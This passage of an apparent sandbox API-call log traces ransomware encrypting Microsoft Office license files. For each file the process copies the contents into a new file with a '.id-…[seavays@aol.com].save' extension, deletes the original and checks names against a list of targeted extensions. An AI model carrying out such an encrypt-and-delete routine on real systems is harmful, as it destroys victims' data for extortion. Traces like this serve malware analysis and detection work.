Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ppd.xrm-ms")) returned 1 [0183.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.094] lstrlenW (lpString=".doc") returned 4 [0183.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString=".docx") returned 5 [0183.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.094] lstrlenW (lpString=".pdf") returned 4 [0183.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString=".xls") returned 4 [0183.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString=".xlsx") returned 5 [0183.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.094] lstrlenW (lpString=".ppt") returned 4 [0183.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.094] lstrlenW (lpString=".zip") returned 4 [0183.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString=".rar") returned 4 [0183.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString=".bz2") returned 4 [0183.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString=".7z") returned 3 [0183.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.094] lstrlenW (lpString=".dbf") returned 4 [0183.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.095] lstrlenW (lpString=".1cd") returned 4 [0183.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.095] lstrlenW (lpString=".jpg") returned 4 [0183.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.095] lstrlenW (lpString=".doc") returned 4 [0183.095] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString=".docx") returned 5 [0183.095] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.095] lstrlenW (lpString=".pdf") returned 4 [0183.095] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString=".xls") returned 4 [0183.095] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString=".xlsx") returned 5 [0183.095] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.095] lstrlenW (lpString=".ppt") returned 4 [0183.095] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.095] lstrlenW (lpString=".zip") returned 4 [0183.095] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString=".rar") returned 4 [0183.095] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString=".bz2") returned 4 [0183.095] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.095] lstrlenW (lpString=".7z") returned 3 [0183.096] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.096] lstrlenW (lpString=".dbf") returned 4 [0183.096] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.096] lstrlenW (lpString=".1cd") returned 4 [0183.096] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ppd.xrm-ms") returned 79 [0183.096] lstrlenW (lpString=".jpg") returned 4 [0183.096] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.096] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.096] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0183.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.097] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11609) returned 1 [0183.097] CloseHandle (hObject=0x530) returned 1 [0183.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0183.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.098] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.098] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.099] GetLastError () returned 0x0 [0183.099] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0183.101] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0183.286] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.286] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x114, lpOverlapped=0x0) returned 1 [0183.286] SetEndOfFile (hFile=0x2a8) returned 1 [0183.287] CloseHandle (hObject=0x2a8) returned 1 [0183.287] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.287] SetEndOfFile (hFile=0x530) returned 1 [0183.291] CloseHandle (hObject=0x530) returned 1 [0183.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0183.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.294] lstrlenW (lpString=".doc") returned 4 [0183.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString=".docx") returned 5 [0183.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.294] lstrlenW (lpString=".pdf") returned 4 [0183.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString=".xls") returned 4 [0183.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString=".xlsx") returned 5 [0183.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.294] lstrlenW (lpString=".ppt") returned 4 [0183.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.294] lstrlenW (lpString=".zip") returned 4 [0183.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString=".rar") returned 4 [0183.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString=".bz2") returned 4 [0183.294] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString=".7z") returned 3 [0183.294] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.294] lstrlenW (lpString=".dbf") returned 4 [0183.294] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.294] lstrlenW (lpString=".1cd") returned 4 [0183.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.295] lstrlenW (lpString=".jpg") returned 4 [0183.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.295] lstrlenW (lpString=".doc") returned 4 [0183.295] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString=".docx") returned 5 [0183.295] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.295] lstrlenW (lpString=".pdf") returned 4 [0183.295] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString=".xls") returned 4 [0183.295] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString=".xlsx") returned 5 [0183.295] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.295] lstrlenW (lpString=".ppt") returned 4 [0183.295] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.295] lstrlenW (lpString=".zip") returned 4 [0183.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString=".rar") returned 4 [0183.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.295] lstrlenW (lpString=".bz2") returned 4 [0183.296] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.296] lstrlenW (lpString=".7z") returned 3 [0183.296] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.296] lstrlenW (lpString=".dbf") returned 4 [0183.296] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.296] lstrlenW (lpString=".1cd") returned 4 [0183.296] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0183.296] lstrlenW (lpString=".jpg") returned 4 [0183.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.296] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.296] lstrlenW (lpString="ExcelVL_MAK-ul-phn.xrm-ms") returned 25 [0183.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.298] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19921) returned 1 [0183.298] CloseHandle (hObject=0x530) returned 1 [0183.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0183.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.299] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.299] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.301] GetLastError () returned 0x0 [0183.301] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0183.303] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0183.304] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.304] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x106, lpOverlapped=0x0) returned 1 [0183.304] SetEndOfFile (hFile=0x2a8) returned 1 [0183.304] CloseHandle (hObject=0x2a8) returned 1 [0183.305] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.305] SetEndOfFile (hFile=0x530) returned 1 [0183.308] CloseHandle (hObject=0x530) returned 1 [0183.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0183.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.310] lstrlenW (lpString=".doc") returned 4 [0183.310] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.310] lstrlenW (lpString=".docx") returned 5 [0183.310] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.310] lstrlenW (lpString=".pdf") returned 4 [0183.310] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.310] lstrlenW (lpString=".xls") returned 4 [0183.310] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.310] lstrlenW (lpString=".xlsx") returned 5 [0183.310] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.310] lstrlenW (lpString=".ppt") returned 4 [0183.311] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.311] lstrlenW (lpString=".zip") returned 4 [0183.311] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString=".rar") returned 4 [0183.311] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString=".bz2") returned 4 [0183.311] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString=".7z") returned 3 [0183.311] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.311] lstrlenW (lpString=".dbf") returned 4 [0183.311] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.311] lstrlenW (lpString=".1cd") returned 4 [0183.311] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.311] lstrlenW (lpString=".jpg") returned 4 [0183.311] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.311] lstrlenW (lpString=".doc") returned 4 [0183.311] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString=".docx") returned 5 [0183.311] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0183.311] lstrlenW (lpString=".pdf") returned 4 [0183.311] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString=".xls") returned 4 [0183.311] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0183.311] lstrlenW (lpString=".xlsx") returned 5 [0183.312] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0183.312] lstrlenW (lpString=".ppt") returned 4 [0183.312] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0183.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.312] lstrlenW (lpString=".zip") returned 4 [0183.312] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0183.312] lstrlenW (lpString=".rar") returned 4 [0183.312] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0183.312] lstrlenW (lpString=".bz2") returned 4 [0183.312] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0183.312] lstrlenW (lpString=".7z") returned 3 [0183.312] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0183.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.312] lstrlenW (lpString=".dbf") returned 4 [0183.312] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0183.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.312] lstrlenW (lpString=".1cd") returned 4 [0183.312] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0183.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0183.312] lstrlenW (lpString=".jpg") returned 4 [0183.312] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0183.312] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0183.312] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 42 [0183.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.314] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11219) returned 1 [0183.314] CloseHandle (hObject=0x530) returned 1 [0183.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0183.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0183.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0183.315] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.315] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0183.316] GetLastError () returned 0x0 [0183.316] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0183.318] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0183.319] ReadFile (in: hFile=0x530, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.319] WriteFile (in: 